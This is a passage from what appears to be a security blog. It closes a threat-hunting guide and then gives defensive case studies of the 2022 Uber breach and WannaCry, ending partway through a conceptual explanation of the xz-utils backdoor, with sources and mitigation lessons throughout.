hunt that confirms a compromise stops being a hunt at that moment and becomes an incident, which is the domain of [incident response](/incident-response-101). Resist the urge to keep pulling threads once you know something is live: capture volatile evidence and hand over. ## Turning a hunt into a detection This is the step that compounds. A hunt found once; a detection finds forever, cheaply. Write down seven things when you promote a hunt: 1. The query, in the SIEM's own language, runnable without you. 2. The data source and the fields it depends on, so a logging change that breaks it is traceable. 3. The exclusions, each with a reason and a date. 4. The expected volume, measured by running the tuned query over historical data. 5. The ATT&CK technique ID, so coverage can be mapped. 6. The responder action, written for someone at 3am with no context. 7. The failure condition: what change in the environment would make this rule stop working. Volume decides the format. Take the DNS hunt above: the entropy-and-length rule on its own returned 41 domains a month, roughly ten a week for a rule with a low hit rate. Combined with the per-host volume threshold and the exclusion list, the tuned version returned three hits over the same 30 days of history, all from the one incident. Three a month with a clear responder action ships as an alert. Forty-one is a scheduled hunt that a human reviews weekly. Before you ship a detection, run it over the last 30 to 90 days of stored data. That gives you a measured false-positive rate in your environment for free, and it occasionally finds an intrusion that predates the hunt. A rule shipped without a backtest is a guess about volume, and volume is what determines whether anyone will still be reading its output in a month. ## Failure modes **The unfalsifiable hypothesis.** "Hunt for ransomware precursors" cannot come back empty because it never defined what a hit looks like. Name the behaviour and the field it appears in. **Hunting the matrix top to bottom.** ATT&CK has hundreds of techniques and working them in order spends your best analysts on techniques irrelevant to your platform mix. Pick by what an attacker in your estate would plausibly do. **Hunting the tool's demo.** If every hunt maps to a feature your vendor showcased, you are testing the product rather than the environment. **The blind spot mistaken for a clean result.** Missing hosts, unenabled auditing and short retention all produce empty result sets. Report coverage alongside every finding: "no matches across 480 of 610 workstations, 30 days". **Attackers who know the hunt.** Implants deliberately degrade the signals hunts rely on: long sleep intervals to defeat interval analysis, domain fronting to look ordinary, and packing to defeat static checks. Sandbox-aware and obfuscated samples are covered in [sandbox evasion](/malware-sandbox-evasion) and [malware obfuscation](/malware-obfuscation-techniques). The counter is to hunt properties an attacker must keep in order to work at all: something must execute, something must persist, something must call home. **No write-up.** Two analysts, three months apart, running the same hunt from scratch because the first one left nothing behind, is the most common way hunting programmes stall. **Alert-queue creep.** Once hunters are good at triage they get handed the queue, and the schedule quietly evaporates. Protect hunting time on the roster or it stops happening. ## Measuring a hunting programme The wrong metric is incidents found. Most hunts correctly find nothing, and a team measured on incidents will drift toward hunting the things it already knows are noisy so it has something to report. Measure instead: - **Detections shipped per quarter**, with their measured false-positive rate. - **Visibility gaps found and closed**, counted as log sources fixed and hosts brought into coverage. - **Coverage of techniques relevant to your estate**, tracked against ATT&CK, and honest about what "covered" means. - **Time from hypothesis to conclusion**, which tells you whether your data platform is usable. - **Reruns**, meaning how many previous hunts can be re-executed today by someone who did not write them. ## Where to start Five hunts, in this order, that need only telemetry most estates already have. 1. **New services and scheduled tasks.** Stack 7045 and 4698 for 30 days and read the rarest entries. Low volume, high meaning, and the same ground that both persistence and [lateral movement](/lateral-movement-explained) cross. 2. **Rare parent-child process pairs.** Stack parent and child image names from Sysmon 1. Office applications spawning script hosts sit at the bottom of that list. 3. **Autostart writes.** Sysmon 13 on Run keys, plus Sysmon 11 for executables written to Startup folders, joined back to the creating process. 4. **Outbound destinations resolved by exactly one host.** Cheap, uses DNS or proxy logs alone, and catches early-stage implants before the operator settles in. 5. **Console and RDP logons to servers by accounts that have never logged on to them before.** 4624 with Logon Type 2 (interactive at the console) and Logon Type 10 (RemoteInteractive, meaning RDP), differenced against a 90-day baseline. Each produces a stack you can read in an hour and an exclusion list you will reuse in every later hunt. ## The verdict Threat hunting is worth the headcount when three conditions hold: you centralise telemetry with weeks of retention, you can query it yourself, and you protect scheduled time for it. Without those, hunting becomes an aspiration written into a job title while the person does alert triage full time. The return arrives as detections rather than as discoveries. A team that runs a hunt a fortnight and converts the good ones into tested rules ends the year with two dozen behavioural detections built for its own environment, a documented map of what it cannot see, and analysts who know their estate well enough to recognise wrong when it appears. The occasional live intrusion found along the way is a bonus on top of that. ## Related guides - [MITRE ATT&CK Framework Explained](/mitre-attack-framework-explained) - [Windows Event IDs for Security](/windows-event-ids-for-security) - [Incident Response 101](/incident-response-101) - [Living Off the Land Explained](/living-off-the-land-explained) - [Command and Control Explained](/command-and-control-explained) - [DNS Tunneling Explained](/dns-tunneling-explained) - [Malware Persistence Techniques](/malware-persistence-techniques) ### Sources - TTP-Based Hunting (MITRE): https://www.mitre.org/news-insights/publication/ttp-based-hunting - MITRE ATT&CK (MITRE): https://attack.mitre.org/ - NIST SP 800-92: Guide to Computer Security Log Management (NIST): https://csrc.nist.gov/pubs/sp/800/92/final - Identifying and Mitigating Living Off the Land Techniques (AA24-038A) (CISA, NSA, FBI): https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a - Sysmon, Sysinternals Documentation (Microsoft): https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon --- ## The Uber 2022 Breach: MFA Fatigue to a Hardcoded PAM Password > How the September 2022 Uber intrusion worked: a contractor's stolen credential, push notification fatigue plus a WhatsApp message, and a PowerShell script on a share holding admin credentials for the privileged access vault. - URL: https://blog.pwnsy.com/uber-2022-breach-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: beginner - Category: threat-intel - Tags: uber, incident-analysis, mfa-fatigue, social-engineering, case-study - Related: [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [MFA Fatigue Attacks Explained: How Push Bombing Works](https://blog.pwnsy.com/mfa-fatigue-attacks-explained) ### TL;DR - The entry point was a contractor's password, which Uber reported was likely bought after infostealer malware had taken it from a personal device. - Multi-factor authentication held until the attacker combined push notification spam with a WhatsApp message claiming to be Uber IT and saying approval would stop the prompts. - The escalation came from a PowerShell script on a network share containing hardcoded administrator credentials for the privileged access management system. - One credential in one script converted a single contractor account into the vault holding secrets for the rest of the estate. ### Key Takeaways - Push-approval MFA fails to a patient attacker plus a plausible message. Number matching and phishing-resistant factors remove the approval a tired person can give. - Unlimited push attempts with no throttling and no alert on repeated denials is the specific configuration that makes fatigue attacks work. - The most damaging finding was the script on the share. A secret in a file readable by anyone who reaches the share is a secret with no access control on it. - Compromising the privileged access vault is the worst possible escalation, which is why the vault itself needs the strictest controls in the estate. - Contractors and third parties authenticate into the same systems as staff and frequently sit outside the strongest controls, which makes them the reliable path in. - The attacker announced themselves in the company Slack, which is unusual. A quieter operator with the same access would have been much harder to find. ### FAQ **Q: How did the Uber 2022 breach start?** With the credentials of an external contractor. Uber's own update stated the attacker likely purchased the contractor's corporate password on the dark web after the contractor's personal device had been infected with malware that steals credentials. The password alone was not enough, because the account required multi-factor approval. **Q: What is an MFA fatigue attack?** The attacker has a valid password and repeatedly triggers the login, so the victim receives push approval prompts continuously. The intent is that the victim eventually approves one to stop the interruption, whether from irritation, confusion or the assumption that IT is doing something. In this case the attacker added a message on WhatsApp claiming to be Uber IT support and saying the prompts would stop once one was approved. **Q: How did the attacker gain administrator access?** After connecting to the internal network, the attacker found a PowerShell script on a network share that contained hardcoded administrator credentials for Uber's privileged access management system. Those credentials opened the vault, and the vault held secrets for other internal systems and cloud services. **Q: Who was responsible?** The activity was widely associated with the Lapsus$ group, and Uber's update stated the attacker was affiliated with it. A UK teenager was subsequently convicted in connection with Lapsus$ activity including the Uber intrusion. Attribution is a claim made by investigators rather than a technical fact, and it is stated here as they stated it. **Q: What would have stopped it?** Several controls independently. Phishing-resistant authentication, meaning a hardware key or a passkey, which cannot be approved by a person under pressure. Throttling and alerting on repeated push denials. And most importantly, no plaintext administrator credential in a script on a share, which is what turned a foothold into total access. **Q: Why does this incident get cited so often?** Because every step is ordinary and reproducible in most organisations. A reused or stolen contractor credential, push-approval MFA, a helpful-sounding message, and a script containing a password. None of it required an exploit, and the last step reached the system that holds every other secret. On 15 September 2022, a message appeared in Uber's internal Slack announcing that the company had been breached. It was the attacker. The path they took is worth studying precisely because none of it was clever. A stolen contractor password. Enough push notifications to wear someone down. A message claiming to be IT. And then a file on a network share with an administrator password written into it, which happened to be the administrator password for the system that holds every other password. That last step is the reason this case gets cited more than larger breaches. Everything up to it is a story about social engineering that most organisations have thought about. The finish is a story about a secret in a script, which most organisations still have. Facts here come from Uber's own security update, Microsoft's analysis of the group's tradecraft, and the US Cyber Safety Review Board's review of Lapsus$ activity. ## Timeline | Date | Event | |---|---| | Before September 2022 | A contractor's personal device is infected with credential-stealing malware. Uber reported the corporate password was likely then purchased on the dark web | | 15 September 2022 | Repeated login attempts generate a stream of two-factor approval requests to the contractor | | 15 September 2022 | The attacker contacts the contractor on WhatsApp posing as Uber IT, saying the prompts will stop if one is accepted. One is accepted | | 15 September 2022 | Access to the internal network. A PowerShell script on a share yields hardcoded admin credentials for the privileged access management system | | 15 September 2022 | Access to internal tooling, including the vault's stored secrets and several internal systems | | 15 September 2022 | The attacker posts in the company's internal Slack, announcing the compromise | | 16 September 2022 | Uber confirms the incident publicly and begins response | The entire chain, from first push notification to administrative access, ran inside a single day. ## Step one: a credential that was already gone The contractor's password had been taken from a personal device by malware that harvests stored credentials, browser sessions and password manager data. Uber's statement described the attacker as likely having purchased it. This is now the ordinary way intrusions begin, and it is covered in [What Is an Infostealer](/what-is-an-infostealer). Credential-stealing malware runs on a personal machine, the harvest is sold in bulk, and buyers search it for corporate domains. The organisation whose credential is being sold has no visibility into any of it: nothing on their network was compromised, no alert fired, and the first sign is a valid login. The structural point is that the corporate password existed on a device the company did not manage. Contractors, personal devices and unmanaged endpoints are consistently the softest edge of an otherwise well-run estate. ## Step two: MFA that a person can be talked out of The password alone did not work, because the account required a second factor delivered as a push notification. The attacker did two things. First, repeated authentication attempts, generating a continuous stream of approval prompts. Second, a WhatsApp message claiming to be Uber IT support, saying the notifications were part of a fix and would stop once one was approved. That combination is what makes the technique work, catalogued by MITRE as T1621. Push spam alone is annoying and suspicious. Push spam plus an explanation from someone claiming to be IT converts a suspicious event into a plausible one. The victim is not careless; they have been given a story that fits what they are seeing. The configuration details that enabled it are worth naming, because they are settings rather than human factors: - **No limit on authentication attempts.** The prompts could continue indefinitely. - **No alert on repeated denials.** A user denying twenty approvals in ten minutes is one of the highest-signal events an identity provider can produce, and it was not treated as an incident. - **A factor that a human can approve under pressure.** This is the fundamental weakness. The fix for the last one is phishing-resistant authentication: a hardware security key or a passkey, where the credential is bound to the origin and there is no prompt for a tired person to accept. [Passkeys Explained](/passkeys-explained) and [Two-Factor Authentication Guide](/two-factor-authentication-guide) cover the options, and number matching is the useful interim step where push cannot be replaced. ## Step three: the script on the share Inside the network, the attacker found a PowerShell script on a network share. The script contained hardcoded administrator credentials for Uber's privileged access management system. Consider what that means. The PAM system exists to solve this exact problem. It holds credentials so they are not scattered in files, releases them under control, records their use, and rotates them afterwards. It is the control that limits what a foothold becomes. Its own administrator password was in a script on a file share. Once those credentials were used, the attacker had the vault, and the vault had the secrets for other systems and services. A single contractor account with no special privileges became administrative access across the environment through one file. Two general lessons come out of this, both covered in [Privileged Access Management Explained](/privileged-access-management-explained): **Secrets in scripts are secrets with no access control.** A file on a share is readable by everyone who can reach the share, it is copied into backups, it appears in version control history, and it is never rotated because rotating it means finding every copy. A secrets manager exists so that the script fetches the credential at runtime under an identity that can be authorised, logged and revoked. **The vault is the highest-value target in the estate.** Anything that holds every other credential deserves the strictest controls: its own administrators, phishing-resistant authentication, no standing access, alerting on every administrative authentication. Compromising it is a shortcut to everything it protects. ## Step four: the announcement The attacker posted in Uber's internal Slack, told employees the company had been breached, and listed systems reached. Screenshots circulated publicly. This is characteristic of the group and it is operationally strange. Access this deep is normally kept quiet for as long as possible: an intruder with the credential vault could have persisted for months. Announcing it forced immediate response and ended the access. There is a defensive point in that. Discovery in this case was instant because the attacker chose to be found. A quieter operator with the same access, using valid credentials for legitimate-looking actions, would have produced very little that a monitoring programme would flag. It is worth asking what would have detected this intrusion if nobody had posted in Slack, and for most organisations the honest answer is the vault authentication from an unusual source, if anyone was watching it. ## What generalises 1. **Corporate credentials live on devices you do not manage.** Assume some are already for sale, and design so that a password alone achieves nothing. 2. **Push approval is a factor a person can be persuaded to give.** Phishing-resistant authentication removes the persuasion surface. Where push must stay, use number matching, throttle attempts, and alert on repeated denials. 3. **Contractors sit inside the same systems and outside the strongest controls.** They need the same authentication standard, particularly for anything reaching internal networks. 4. **A secret in a script is the single most common escalation path in real intrusions.** Not an exploit chain. A file. 5. **The privileged access system is the crown jewel.** Protect it accordingly, and monitor authentications to it as the highest-severity signal you have. ## The verdict An attacker with a purchased password, patience, and one convincing message reached the system that holds every other credential, in a day, without exploiting a single vulnerability. The whole chain is defended by two changes that most organisations can make: phishing-resistant authentication so that no prompt can be approved under social pressure, and no plaintext credentials in scripts so that a foothold has nowhere to go. Neither requires a new product category, and both would have broken this intrusion at a different point. ## Related guides - [Privileged Access Management Explained](/privileged-access-management-explained) - [Passkeys Explained](/passkeys-explained) - [What Is an Infostealer](/what-is-an-infostealer) - [Social Engineering Playbook](/social-engineering-playbook) - [Two-Factor Authentication Guide](/two-factor-authentication-guide) ### Sources - Security update (Uber): https://www.uber.com/newsroom/security-update/ - DEV-0537 criminal actor targeting organizations for data exfiltration and destruction (Microsoft): https://www.microsoft.com/en-us/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/ - Review of the Attacks Associated with Lapsus$ and Related Threat Groups (US Cyber Safety Review Board): https://www.cisa.gov/resources-tools/resources/review-attacks-associated-lapsus-and-related-threat-groups-report - NIST SP 800-63B: Digital Identity Guidelines, Authentication and Lifecycle Management (NIST): https://pages.nist.gov/800-63-3/sp800-63b.html - MITRE ATT&CK T1621: Multi-Factor Authentication Request Generation (MITRE): https://attack.mitre.org/techniques/T1621/ --- ## WannaCry: A Worm, a Patch Nobody Applied, and a Kill Switch > How WannaCry spread on 12 May 2017: EternalBlue against SMBv1, a patch that had been available for two months, the NHS impact, and the domain registration that stopped it. - URL: https://blog.pwnsy.com/wannacry-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: beginner - Category: threat-intel - Tags: wannacry, ransomware, incident-analysis, smb, case-study - Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [The 3-2-1 Backup Strategy: Ransomware-Resistant Backups](https://blog.pwnsy.com/3-2-1-backup-strategy-guide) ### TL;DR - WannaCry was ransomware with a worm attached. It did not need anyone to click anything: it scanned for machines with SMBv1 exposed and exploited them directly. - The vulnerability had been patched by Microsoft in MS17-010 on 14 March 2017, two months before the outbreak on 12 May. - It spread to around 200,000 computers across 150 countries in days. In England, the National Audit Office found 81 NHS trusts affected and more than 19,000 appointments cancelled. - It was stopped by a researcher registering a domain the malware checked before running, which acted as a kill switch nobody outside the malware's authors knew existed. ### Key Takeaways - A wormable remote code execution flaw in a service exposed across a flat network is the highest-severity combination in vulnerability management, and it is why SMB and RDP get emergency treatment. - The two-month gap between patch and outbreak is the whole story. Everything that followed was a patching and segmentation failure. - SMBv1 was already obsolete in 2017 and remained enabled because something old depended on it. Legacy protocol debt is what turned a patchable flaw into an epidemic. - The ransom mechanism was poor: a handful of fixed Bitcoin addresses with no reliable way to link a payment to a victim, so paying frequently produced nothing. - Segmentation would have limited it even unpatched, because the worm needed to reach port 445 on the next machine. - The US and UK governments attributed the attack to North Korea in December 2017. Attribution is a government claim, stated here as such. ### FAQ **Q: What was WannaCry?** Ransomware that spread as a worm, beginning on 12 May 2017. It encrypted files and demanded a Bitcoin payment, and unlike most ransomware it propagated by itself using EternalBlue, an exploit against a flaw in Microsoft's SMBv1 file sharing protocol. Any unpatched Windows machine reachable on TCP port 445 could be infected without a user doing anything at all. **Q: What is EternalBlue?** An exploit for a remote code execution vulnerability in Microsoft's SMBv1 implementation, addressed by Microsoft in security bulletin MS17-010 on 14 March 2017. The exploit was published by a group calling itself the Shadow Brokers in April 2017, having reportedly originated with the US National Security Agency. WannaCry incorporated it about a month after publication. **Q: Was there a patch available?** Yes, for two months. MS17-010 shipped on 14 March 2017 and the outbreak began on 12 May. Microsoft subsequently took the unusual step of releasing patches for out-of-support versions including Windows XP, which indicates how serious the situation was considered. **Q: What was the kill switch?** Before encrypting, the malware attempted to resolve a specific unregistered domain name. If the lookup succeeded, it stopped. A researcher analysing the sample registered the domain, which caused the check to succeed worldwide and halted that variant's spread. It appears to have been intended as an anti-analysis check, on the assumption that a sandbox environment resolves any domain. Later variants had it removed or altered. **Q: How badly was the NHS affected?** The National Audit Office investigation found 81 NHS trusts in England were affected, and the Department of Health said more than 19,000 patient appointments may have been cancelled. Ambulances were diverted and some services reverted to paper. No patient deaths were attributed to the incident in the NAO's investigation, and the disruption was substantial. **Q: Could it happen again?** The same shape can. A wormable vulnerability in a service exposed across internal networks, exploited before organisations patch, is a recurring pattern rather than a one-off. What has changed is that SMBv1 is now disabled by default on current Windows and internal segmentation is more common. What has not changed is that many organisations still cannot patch an internet-adjacent service inside two months. Most ransomware waits for someone to open an attachment. WannaCry did not wait for anything. On the morning of 12 May 2017 it began scanning for Windows machines with file sharing exposed and exploiting them directly. An organisation with one vulnerable machine reachable from the internet, or one infected laptop plugged into a flat internal network, could go from a single compromise to hundreds of encrypted machines in an hour. Nobody had to click. The patch had been available since 14 March. ## Timeline | Date | Event | |---|---| | 14 March 2017 | Microsoft publishes MS17-010, fixing the SMBv1 flaws | | April 2017 | The Shadow Brokers publish the EternalBlue exploit | | 12 May 2017, morning | WannaCry begins spreading. NHS trusts, telecoms, manufacturers and logistics operators are affected | | 12 May 2017, afternoon | A researcher registers the domain the malware checks, halting that variant | | 13 May 2017 | Microsoft issues patches for out-of-support Windows versions | | 27 October 2017 | The UK National Audit Office publishes its investigation into the NHS impact | | 19 December 2017 | The US and UK governments attribute the attack to North Korea | ## How it spread Two components, and the combination is what mattered. **The worm.** EternalBlue exploits a remote code execution flaw in Microsoft's SMBv1 implementation, reachable on TCP port 445. The malware scanned local subnets and generated random internet addresses, and any unpatched machine that answered was compromised and became a new scanner. Growth was exponential and required no human involvement. [SMB Security Explained](/smb-security-explained) covers the protocol and its history. **The ransomware.** Once on a host, it encrypted files and displayed a demand for a few hundred dollars in Bitcoin. The payment side was notably poor. There were only a handful of hardcoded Bitcoin addresses and no reliable mechanism to associate a payment with a specific victim, so the operators had no practical way to decide who had paid. Many people who paid received nothing. Whatever the intent behind the operation, it was not a well-built extortion business, which is one of the reasons the attribution discussion pointed away from ordinary criminal motivation. ## Why so many machines were unpatched Two months is a long time for a critical remotely exploitable flaw, and the reasons organisations missed it are the ordinary ones. **Legacy dependencies on an obsolete protocol.** SMBv1 dates to the 1980s and was already deprecated. It stayed enabled because something depended on it: an old file server, a multifunction printer scanning to a share, a piece of medical or industrial equipment with firmware nobody could update. Disabling it risked breaking a device that mattered, so it stayed. **Unsupported operating systems.** Windows XP and Server 2003 were out of support and still running clinical devices, manufacturing controllers and point of sale terminals. No patch existed for them until Microsoft made an exception the day after the outbreak. **Change control designed for a different pace.** Systems with clinical or production uptime requirements patch in windows scheduled weeks ahead. A March patch reaching a June window is normal governance meeting an abnormal risk, which is why [Vulnerability Management Lifecycle](/vulnerability-management-lifecycle) argues for an emergency path that does not wait for the routine cycle. **Flat networks.** The worm needed to reach port 445 on the next machine. In segmented environments it hit boundaries; in flat ones it did not, and most were flat. This is the single change that would most have limited the damage without patching anything, and it is covered in [Network Segmentation Guide](/network-segmentation-guide). ## The NHS The National Audit Office's investigation is the most reliable public account of the impact on a single organisation, and it found 81 NHS trusts in England affected, with the Department of Health stating that more than 19,000 patient appointments may have been cancelled. Some trusts diverted ambulances, cancelled operations and reverted to paper records. The NAO's findings on preparedness are the durable part. Warnings about the specific vulnerability had been issued in the weeks before. There was a cyber incident response plan that had not been tested locally, so when the incident began there was confusion about who to tell and how. And communications depended on systems that were themselves affected. That last one recurs in every large incident and is worth taking from this page even if nothing else: **your incident response plan must work when the systems it depends on are down.** Contact lists on a file share, a plan in a wiki behind single sign-on, and a call tree in an email system are all unavailable in exactly the scenario they exist for. [Incident Response 101](/incident-response-101) covers building the offline version. ## The kill switch Before encrypting, the malware attempted to resolve a specific long, unregistered domain name. If the resolution succeeded, it stopped. A researcher analysing the sample noticed the check, registered the domain for around ten dollars, and pointed it at a sinkhole. Every new infection worldwide then resolved it successfully and halted. The likely purpose was anti-analysis. Some sandbox environments answer every DNS query with a synthetic response to keep malware talking, so a lookup for a random domain succeeding is a signal that the malware is being watched rather than running on a real victim. Written into a self-spreading worm, that check became a global off switch. It was luck, of a kind that does not repeat. Later variants had the check removed, and the underlying vulnerable population did not shrink because of it. ## What generalises 1. **Wormable plus unpatched plus flat equals epidemic.** Any two of those is survivable. All three is what produced 12 May 2017. 2. **A patch is not a control until it is deployed**, and the deployment clock for a remotely exploitable flaw in an exposed service has to be shorter than the routine one. 3. **Legacy protocol debt is security debt.** SMBv1 stayed on because turning it off risked breaking something, which is exactly why it was still there when the exploit arrived. 4. **Segmentation limits blast radius when patching fails**, and patching does fail. 5. **Your response plan has to survive the incident.** Offline copies, out-of-band communications, and a tested call tree. ## The verdict WannaCry required no phishing, no user error and no novel vulnerability. It used a flaw Microsoft had fixed two months earlier, against a protocol that should have been switched off years earlier, across networks with no internal boundaries. The reason it still gets taught is that the failure was entirely in the ordinary work: inventory, patch cadence, retiring obsolete protocols, and segmentation. None of that was exotic then and none of it is exotic now. ## Related guides - [NotPetya Explained](/notpetya-explained) - [Anatomy of a Ransomware Attack](/ransomware-anatomy) - [SMB Security Explained](/smb-security-explained) - [Vulnerability Management Lifecycle](/vulnerability-management-lifecycle) - [Network Segmentation Guide](/network-segmentation-guide) ### Sources - MS17-010: Security Update for Microsoft Windows SMB Server (Microsoft): https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010 - Customer Guidance for WannaCrypt attacks (Microsoft Security Response Center): https://msrc.microsoft.com/blog/2017/05/customer-guidance-for-wannacrypt-attacks/ - Investigation: WannaCry cyber attack and the NHS (UK National Audit Office): https://www.nao.org.uk/reports/investigation-wannacry-cyber-attack-and-the-nhs/ - Indicators Associated With WannaCry Ransomware (CISA): https://www.cisa.gov/news-events/alerts/2017/05/12/indicators-associated-wannacry-ransomware - Statement from the Press Secretary on the attribution of the WannaCry malware (The White House): https://trumpwhitehouse.archives.gov/briefings-statements/press-briefing-on-the-attribution-of-the-wannacry-malware-attack-to-north-korea-121917/ - Foreign Office Minister condemns North Korean actor for WannaCry attacks (UK Government): https://www.gov.uk/government/news/foreign-office-minister-condemns-north-korean-actor-for-wannacry-attacks --- ## The xz-utils Backdoor: A Two-Year Campaign Against a Maintainer > How CVE-2024-3094 worked: a backdoor hidden in release tarballs rather than the git repo, injected during build, hooking sshd through an IFUNC resolver, after a multi-year campaign for commit access. - URL: https://blog.pwnsy.com/xz-utils-backdoor-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: advanced - Category: threat-intel - Tags: xz-utils, supply-chain, open-source, incident-analysis, case-study - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained), [Change Healthcare: One Citrix Login and a National Outage](https://blog.pwnsy.com/change-healthcare-attack-explained) ### TL;DR - The backdoor was not in the git repository. It was in the release tarballs, hidden in files that looked like test data and activated by the build scripts, so anyone reading the source on GitHub saw nothing. - It targeted sshd on distributions where the service links liblzma through systemd, hooking a function resolution to intercept authentication. - Only a holder of a specific Ed448 private key could use it, which makes it a backdoor for one actor rather than a vulnerability for everyone. - It was found by a developer investigating half a second of extra CPU time in ssh logins, roughly a month after the affected versions shipped, and before they reached most stable distributions. ### Key Takeaways - The distributed artefact and the public repository were different, which is the structural lesson: reviewing the repo proves nothing about the tarball. - The access came from a multi-year campaign: contributions over time, pressure applied to a burned-out maintainer, and eventually co-maintainer rights. - IFUNC resolvers run early in process startup and pick which implementation of a function to use, which made them a quiet place to redirect execution. - Affected versions 5.6.0 and 5.6.1 mostly reached rolling and testing distributions. Most stable server fleets were never exposed. - Discovery was luck plus curiosity about a performance anomaly, which is not a control anyone can rely on. - The durable fixes are reproducible builds, building from version control rather than tarballs, and treating maintainer burnout as a supply chain risk. ### FAQ **Q: What was the xz-utils backdoor?** Malicious code, tracked as CVE-2024-3094, added to xz-utils versions 5.6.0 and 5.6.1 in early 2024. It was designed to interfere with authentication in OpenSSH on systems where sshd links against liblzma through systemd, allowing someone holding a specific private key to execute commands before authentication completed. It was discovered in March 2024, before the affected versions reached most stable distributions. **Q: Why did nobody see it in the source code?** Because it was not in the source code as published in the git repository. The malicious pieces were present in the release tarballs, distributed as test files that appeared to be corrupted compression samples, and a modified build script assembled and activated them during compilation. Anyone reviewing the project on GitHub was reading a different artefact from the one distributions were building. **Q: How was it discovered?** A developer investigating unusual behaviour, including ssh logins taking roughly half a second more CPU time than expected and errors appearing under a memory checker, traced the cause into the xz package and found the backdoor. It was reported publicly on 29 March 2024. **Q: Which systems were affected?** Distributions carrying xz 5.6.0 or 5.6.1, which were mainly rolling or testing branches: Fedora Rawhide and pre-release Fedora, Debian testing and unstable, openSUSE Tumbleweed, Kali and Arch among others. Most stable enterprise distributions had not yet picked up the affected versions, which is the main reason the impact was limited. **Q: Was this an ordinary vulnerability?** No, and the distinction matters. A vulnerability is a mistake that anyone who finds it can exploit. This was a deliberate backdoor gated on a specific Ed448 key, so only its author could use it. That makes it closer to an intelligence operation than to a bug, and it is why the response was to remove the versions entirely rather than to patch a flaw. **Q: What does it mean for open source security?** It demonstrated that the attack path runs through people and process rather than through code review. A single unpaid maintainer under pressure, a helpful contributor over two years, and a release process where the published artefact differed from the public repository were sufficient. The answers are structural: reproducible builds, building from version control, funding maintenance of critical infrastructure, and not leaving essential libraries to one exhausted person. Someone spent about two years becoming a trusted maintainer of a compression library in order to put a backdoor into every Linux server that runs OpenSSH. They almost succeeded. The malicious versions reached the testing branches of several distributions in early 2024 and were weeks away from flowing into the stable releases that run most of the internet's infrastructure. What stopped it was a developer noticing that ssh logins were using about half a second more CPU than they should. The technical construction is worth studying, and the part that matters most is the part before the code: the campaign that produced commit access in the first place. Facts here come from the original disclosure on the oss-security mailing list, CISA's alert, and the affected distributions' own advisories. The contributor account operated under a pseudonym and no charges have been brought, so this page refers to the account rather than to any individual. ## Timeline | Date | Event | |---|---| | 2021 onward | A new contributor account begins submitting patches to xz-utils | | 2022 | Pressure appears on the mailing list from other accounts, pushing the original maintainer, who had described his own limited capacity, to hand over more responsibility | | 2022 to 2023 | The contributor account gains commit rights and becomes a co-maintainer | | February 2024 | xz 5.6.0 is released, containing the first stage | | March 2024 | 5.6.1 follows. Both reach rolling and testing distributions | | 29 March 2024 | The backdoor is reported publicly. CISA issues an alert. Distributions roll back | The interesting number in that table is the gap between the first contribution and the payload: roughly two years of legitimate work, which is a level of patience that most threat models do not contemplate. ## The social engineering The technical vehicle was xz-utils, a compression library that almost nothing depends on directly and almost everything depends on indirectly. It was maintained by one person, unpaid, who had publicly described struggling with the workload and with his own health. The publicly visible pattern went like this. A new contributor appeared and submitted useful patches over months. Separately, other accounts appeared on the mailing list complaining about slow releases and unaddressed issues, and suggesting that maintenance should be handed to someone with more time. The named candidate was the helpful contributor. Eventually commit rights were granted. None of the individual steps is unusual. Projects want new contributors. Users do complain about release cadence. Exhausted maintainers do hand over responsibility, and that is normally a good outcome. Assembled deliberately over two years, the same sequence is an access operation. That is the uncomfortable finding: the entry point was not a technical control that failed. It was the ordinary social process by which open source projects recruit help, applied to a maintainer who was under-resourced and struggling. ## The technical construction Several layers, each chosen to survive a different kind of review. **The repository and the tarball were different.** Distributions build from release tarballs rather than from a git checkout, because tarballs contain generated build scripts. The malicious content was in the tarball and not in the repository. Every reviewer looking at GitHub was looking at clean code that was not the code being built. **The payload looked like test data.** The project contains binary test files representing corrupted compressed data, because a compression library needs to handle malformed input. Additional files of that kind were added, and their contents were the stages of the backdoor. Binary test fixtures are the one part of a repository nobody reads. **The build script assembled it.** A modification in the build tooling, in a place produced during release preparation, extracted and decoded content from those test files during compilation and linked the result into liblzma. The activation was conditional: it checked that it was building on the right architecture, under the right toolchain, and for a distribution-style package build, so a developer building locally would not trigger it. **It hooked function resolution.** The library used an IFUNC resolver, a mechanism where a program decides at load time which implementation of a function to use, typically to select a CPU-optimised variant. Running there means running very early in process startup, before most things are initialised. The backdoor used that position to redirect a function used in the OpenSSH authentication path. **The target was sshd through systemd.** OpenSSH does not link liblzma. On distributions that patch sshd to support systemd notification, it links libsystemd, which pulls in liblzma. That indirect path is what put the compression library inside the authentication process on exactly the systems worth attacking. **Access was gated by a key.** The implant checked for a payload signed with a specific Ed448 key and ignored anything else, passing execution back to the real function. Without the private key, the backdoor does nothing observable. This is what separates it from a vulnerability: it was an entrance for one actor, not a flaw anyone could use. ## How it was found By a performance anomaly. A developer running benchmarks noticed that ssh logins were consuming noticeably more CPU than expected, on the order of half a second, and saw unexplained errors under a memory checking tool. Following that thread led into liblzma and then into the backdoor. It is worth being honest about what that means. The construction was designed to survive code review, and it did. It was designed to be invisible in the repository, and it was. What it could not hide was that hooking a hot function costs measurable time, and one person happened to be measuring, happened to care, and happened to keep pulling. Nobody should build a strategy on that recurring. The next campaign will be slightly more careful about performance. ## Why the damage was limited Timing, mostly. Versions 5.6.0 and 5.6.1 had reached rolling and testing distributions such as Fedora Rawhide, Debian testing and unstable, openSUSE Tumbleweed, Arch and Kali. Most stable enterprise distributions move slowly enough that they had not yet picked the versions up. Had it gone 